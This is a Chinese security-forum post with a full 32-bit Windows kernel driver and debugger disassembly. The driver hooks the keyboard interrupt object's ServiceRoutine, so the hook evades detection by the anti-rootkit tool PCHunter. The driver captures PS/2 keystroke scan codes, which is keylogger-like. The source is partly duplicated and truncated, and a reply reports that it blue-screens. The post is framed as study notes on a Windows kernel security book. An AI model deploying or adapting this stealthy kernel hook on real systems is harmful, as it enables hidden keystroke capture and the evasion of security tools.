首页
社区
课程
招聘
[原创]通过Hook InterruptObject来躲避pcHunter的检查
发表于: 2021-6-28 15:58 16049

[原创]通过Hook InterruptObject来躲避pcHunter的检查

2021-6-28 15:58
16049

读《Windows内核安全》的一点感悟,记录一下,如有纰漏,还请大家多多批评指正。本文还是以书上介绍的Hook键盘中断为例,下文的“书”都指的是《Windows内核安全》。

这是在Windbg里运行指令!idt -a的输出的IDT表项,一般大家做IDT Hook都是去改红框里的那个地址。

image-20210628110228616

但是这么改pcHunter一下就能识别出来。很显然,pcHunter就是识别IDT表里存的那个地址所在的模块来判定是否被hook的。

image-20210628110045530

实际上IDT表里写的那个地址并不是实际的中断服务例程,而是对应中断对象的中断分派代码的地址,这个中断分派代码最终会去调用中断服务例程来处理中断,这里有关中断对象的概念可以去看书的第22章。例如,在IDT的0x81表项存放的地址为0x874b8a58,其实就是对应的中断对象0x874b8a00DispatchCode成员(偏移为0X58)。

image-20210628111301043

image-20210628111530470

可以去跟到这个中断分派代码(即IDT中存的地址)里去看一看,其实实际上就是去调用对应中断对象的中断服务例程。

那如果我们去Hook这个中断对象中的ServiceRoutine成员,岂不是pcHunter就察觉不到了,效果还与Hook IDT表一样。

完整的代码也不长,就贴在下面,代码是基于书附的ps2intcap.c改的,修改的关键部分在HOOK_IDT()函数中。

可以看到pcHunter其实是查不出来这个IDT表项被Hook了的,它这个是红色的我也不知道为啥,开机就这样。

image-20210628152230933

不过这种方法不能Hook没有中断对象的表项,就比如int 3中断,IDT表项里直接填的就是中断服务例程。

image-20210628154056402

最后,我感觉这种方法肯定之前有人写过了,但是我搜了一圈也没啥结果,于是就记录一下,供大家参考。

参考资料

《Windows内核安全与驱动开发》

https://www.4hou.com/posts/wR8w

https://wooyun.js.org/drops/%E6%98%BE%E7%A4%BA%E6%AF%8F%E4%B8%AACPU%E7%9A%84IDT%E4%BF%A1%E6%81%AF.html

https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ke/intobj/kinterrupt.htm

 
 
 
 
 
 
 
 
874b8a58 54                     push    esp                      ;中断分派代码的开头
874b8a59 55                     push    ebp
874b8a5a 53                     push    ebx
...
874b8b39 bf008a4b87             mov     edi, 874B8A00h           ;把中断对象的地址存入edi中
874b8b3e e9fd2b99fc             jmp     nt!KiInterruptDispatch (83e4b740)
nt!KiInterruptDispatch:
83e4b740 8bec                   mov     ebp, esp
83e4b742 8b472c                 mov     eax, dword ptr [edi+2Ch]
...
83e4b7a5 8b4718                 mov     eax, dword ptr [edi+18h]
83e4b7a8 50                     push    eax                      ;压栈ServiceContext
83e4b7a9 57                     push    edi                      ;压栈中断对象
83e4b7aa ff570c                 call    dword ptr [edi+0Ch]      ;调用ServiceRoutine
...
874b8a58 54                     push    esp                      ;中断分派代码的开头
874b8a59 55                     push    ebp
874b8a5a 53                     push    ebx
...
874b8b39 bf008a4b87             mov     edi, 874B8A00h           ;把中断对象的地址存入edi中
874b8b3e e9fd2b99fc             jmp     nt!KiInterruptDispatch (83e4b740)
nt!KiInterruptDispatch:
83e4b740 8bec                   mov     ebp, esp
83e4b742 8b472c                 mov     eax, dword ptr [edi+2Ch]
...
83e4b7a5 8b4718                 mov     eax, dword ptr [edi+18h]
83e4b7a8 50                     push    eax                      ;压栈ServiceContext
83e4b7a9 57                     push    edi                      ;压栈中断对象
83e4b7aa ff570c                 call    dword ptr [edi+0Ch]      ;调用ServiceRoutine
...
 
#include <ntddk.h>
// 程序在32位的Win7 pro SP1是跑通的
 
// 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明
// 确知道多少位长度的变量,以避免不同环境下编译的麻烦.
typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned long P2C_U32;
 
#define P2C_MAKELONG(low, high) \
((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16))
 
#define P2C_LOW16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) & 0xffff))
 
#define P2C_HIGH16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) >> 16))
 
// 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址
#pragma pack(push,1)
typedef struct P2C_IDTR_ {
    P2C_U16 limit;        // 范围
    P2C_U32 base;        // 基地址(就是开始地址)
} P2C_IDTR, * PP2C_IDTR;
#pragma pack(pop)
 
// 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。
void* p2cGetIdt()
{
    P2C_IDTR idtr;
    // 一句汇编读取到IDT的位置。
    _asm sidt idtr
    return (void*)idtr.base;
}
 
typedef struct _KINTERRUPT
{
     SHORT Type;
     SHORT Size;
     LIST_ENTRY InterruptListEntry;
     UCHAR * ServiceRoutine;
     UCHAR * MessageServiceRoutine;
     ULONG MessageIndex;
     PVOID ServiceContext;
     ULONG SpinLock;
     ULONG TickCount;
     ULONG * ActualLock;
     PVOID DispatchAddress;
     ULONG Vector;
     UCHAR Irql;
     UCHAR SynchronizeIrql;
     UCHAR FloatingSave;
     UCHAR Connected;
     CHAR Number;
     UCHAR ShareVector;
     char Pad[3];
     KINTERRUPT_MODE Mode;
     KINTERRUPT_POLARITY Polarity;
     ULONG ServiceCount;
     ULONG DispatchCount;
     UINT64 Rsvd1;
     ULONG DispatchCode[135];
} KINTERRUPT, *PKINTERRUPT;
 
#pragma pack(push,1)
typedef struct P2C_IDT_ENTRY_ {
    P2C_U16 offset_low;
    P2C_U16 selector;
    P2C_U8 reserved;
    P2C_U8 type : 4;
    P2C_U8 always0 : 1;
    P2C_U8 dpl : 2;
    P2C_U8 present : 1;
    P2C_U16 offset_high;
} P2C_IDTENTRY, * PP2C_IDTENTRY;
#pragma pack(pop)
 
P2C_U32 g_old_addr = NULL;
// 首先读端口获得按键扫描码打印出来。然后将这个扫
// 描码写回端口,以便别的应用程序能正确接收到按键。
// 如果不想让别的程序截获按键,可以写回一个任意的
// 数据。
#define OBUFFER_FULL 0x02
#define IBUFFER_FULL 0x01
 
ULONG p2cWaitForKbRead()
{
    int i = 100;
    P2C_U8 mychar;
    do
    {
        _asm in al, 0x64
        _asm mov mychar, al
        KeStallExecutionProcessor(50);
        if (!(mychar & OBUFFER_FULL)) break;
    } while (i--);
    if (i) return TRUE;
    return FALSE;
}
 
ULONG p2cWaitForKbWrite()
{
    int i = 100;
    P2C_U8 mychar;
    do
    {
        _asm in al, 0x64
        _asm mov mychar, al
        KeStallExecutionProcessor(50);
        if (!(mychar & IBUFFER_FULL)) break;
    } while (i--);
    if (i) return TRUE;
    return FALSE;
}
 
void p2cUserFilter()
{
    static P2C_U8 sch_pre = 0;
    P2C_U8    sch;
    DbgPrint("p2cUserFilter\n");
    p2cWaitForKbRead();
    _asm in al, 0x60
    _asm mov sch, al
    DbgPrint("p2c: scan code = 0x%x\n", sch);
    //  把数据写回端口,以便让别的程序可以正确读取。
    if (sch_pre != sch)
    {
        sch_pre = sch;
        _asm mov al, 0xd2
        _asm out 0x64, al
        p2cWaitForKbWrite();
        _asm mov al, sch
        _asm out 0x60, al
    }
}
 
__declspec(naked) p2cInterruptProc()
{
    __asm
    {
        pushad                   // 保存所有的通用寄存器
        pushfd                   // 保存标志寄存器
        push fs
        mov bx, 0x30
        mov fs, bx
        push ds
        push es
        call p2cUserFilter       // 调一个我们自己的函数。 这个函数将实现
                                 // 一些我们自己的功能
        pop es
        pop ds
        pop fs
        popfd                    // 恢复标志寄存器
        popad                    // 恢复通用寄存器
        jmp    g_old_addr        // 跳到原来的中断服务程序
    }
}
 
VOID HOOK_IDT(ULONG nIndex, BOOLEAN b)
{
    PP2C_IDTENTRY idt_item = (PP2C_IDTENTRY)p2cGetIdt();
    //将指针指向PS/2中断项
    idt_item += nIndex;
 
    //dispatchCode地址
    P2C_U32 dispatchCode = P2C_MAKELONG(idt_item->offset_low, idt_item->offset_high);
    PKINTERRUPT interrupt_object = (PKINTERRUPT)(dispatchCode - 0x58);
 
    if (b)
    {
        g_old_addr = interrupt_object->ServiceRoutine;
        interrupt_object->ServiceRoutine = p2cInterruptProc;
        DbgPrint("源地址为%x 替换后的地址%x\n", g_old_addr, p2cInterruptProc);
    }
    else
    {
        interrupt_object->ServiceRoutine = g_old_addr;
        DbgPrint("替换为原来的地址");
    }
}
#define  DELAY_ONE_MICROSECOND  (-10)
#define  DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)
#define  DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)
//驱动卸载函数
VOID  IDT_Unload(IN PDRIVER_OBJECT DriverObject)
{
    for (int i = 0; i < KeNumberProcessors ;i++ )
    {       
        KeSetSystemAffinityThread(i + 1);
        HOOK_IDT(0x81, FALSE); 
        KeRevertToUserAffinityThread();       
    }
 
    LARGE_INTEGER interval;
    DbgPrint("p2c: unloading\n");
    // 睡眠5秒。等待所有irp处理结束
    interval.QuadPart = (5 * 1000 * DELAY_ONE_MILLISECOND);
    KeDelayExecutionThread(KernelMode, FALSE, &interval);
 
}
//驱动程序入口
NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT DriverObject,
    IN PUNICODE_STRING RegistryPath
)
{
    //处理多核
    //书上说是给其他CPU投递DCP进行HOOK来处理多核的情况
    //但是我试了试这种方法似乎也可以
    for (int i = 0; i < KeNumberProcessors ;i++ )
    {       
        KeSetSystemAffinityThread(i + 1);
        HOOK_IDT(0x81, TRUE);       
        KeRevertToUserAffinityThread();       
    }
 
    DriverObject->DriverUnload = IDT_Unload;
    return STATUS_SUCCESS;
}
#include <ntddk.h>
// 程序在32位的Win7 pro SP1是跑通的
 
// 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明
// 确知道多少位长度的变量,以避免不同环境下编译的麻烦.
typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned long P2C_U32;
 
#define P2C_MAKELONG(low, high) \
((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16))
 
#define P2C_LOW16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) & 0xffff))
 
#define P2C_HIGH16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) >> 16))
 
// 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址
#pragma pack(push,1)
typedef struct P2C_IDTR_ {
    P2C_U16 limit;        // 范围
    P2C_U32 base;        // 基地址(就是开始地址)
} P2C_IDTR, * PP2C_IDTR;
#pragma pack(pop)
 
// 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。
void* p2cGetIdt()
{
    P2C_IDTR idtr;
    // 一句汇编读取到IDT的位置。
    _asm sidt idtr
    return (void*)idtr.base;
}
 
typedef struct _KINTERRUPT
{
     SHORT Type;
     SHORT Size;
     LIST_ENTRY InterruptListEntry;
     UCHAR * ServiceRoutine;
     UCHAR * MessageServiceRoutine;
     ULONG MessageIndex;
     PVOID ServiceContext;
     ULONG SpinLock;
     ULONG TickCount;
     ULONG * ActualLock;
     PVOID DispatchAddress;
     ULONG Vector;
     UCHAR Irql;
     UCHAR SynchronizeIrql;
     UCHAR FloatingSave;
     UCHAR Connected;
     CHAR Number;
     UCHAR ShareVector;
     char Pad[3];
     KINTERRUPT_MODE Mode;
     KINTERRUPT_POLARITY Polarity;
     ULONG ServiceCount;
     ULONG DispatchCount;
     UINT64 Rsvd1;
     ULONG DispatchCode[135];
} KINTERRUPT, *PKINTERRUPT;
 
#pragma pack(push,1)
typedef struct P2C_IDT_ENTRY_ {
    P2C_U16 offset_low;
    P2C_U16 selector;
    P2C_U8 reserved;
    P2C_U8 type : 4;
    P2C_U8 always0 : 1;
    P2C_U8 dpl : 2;
    P2C_U8 present : 1;
    P2C_U16 offset_high;
} P2C_IDTENTRY, * PP2C_IDTENTRY;
#pragma pack(pop)
 
P2C_U32 g_old_addr = NULL;
// 首先读端口获得按键扫描码打印出来。然后将这个扫
// 描码写回端口,以便别的应用程序能正确接收到按键。
// 如果不想让别的程序截获按键,可以写回一个任意的
// 数据。
#define OBUFFER_FULL 0x02
#define IBUFFER_FULL 0x01
 
ULONG p2cWaitForKbRead()
{
    int i = 100;
    P2C_U8 mychar;
    do
    {
        _asm in al, 0x64

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-6-28 16:03 被危楼高百尺编辑 ,原因: 改注释
收藏
免费 8
支持
分享
最新回复 (3)
雪    币: 23
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
当场蓝屏
2021-11-25 22:42
0
雪    币: 268
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
求问内联汇编我这一直出错网上解释的x64不能用楼主怎么解决的
2023-5-3 20:26
0
雪    币: 1223
活跃值: (4727)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
wx_阳阳_813 求问内联汇编我这一直出错网上解释的x64不能用楼主怎么解决的
x64 msvc用不了内联汇编
写汇编文件或者换编译器(clang-llvm、intel)
2023-5-3 20:57
0
游客
登录 | 注册 方可回帖
返回
//